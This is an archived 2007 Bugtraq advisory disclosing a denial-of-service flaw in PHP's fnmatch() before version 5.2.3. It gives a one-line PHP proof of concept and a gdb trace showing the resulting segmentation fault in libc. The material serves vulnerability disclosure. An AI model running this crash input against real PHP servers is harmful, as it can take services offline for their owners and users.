Bugtraq mailing list archives

PHP < 5.2.3 fnmatch() denial of service


From: laurent.gaffie () gmail com
Date: 4 Sep 2007 21:19:51 -0000

Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: fnmatch()
special condition: default php-memory-limit 
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

fnmatch() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?
fnmatch("*[1]e", str_repeat("A", 9638013));
?>

result:
(gdb) run 2.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215469888 (LWP 11079)]
0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6



========
4)Greets
========
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie () gmail com
stay tuned, site comming soon ....


Current thread: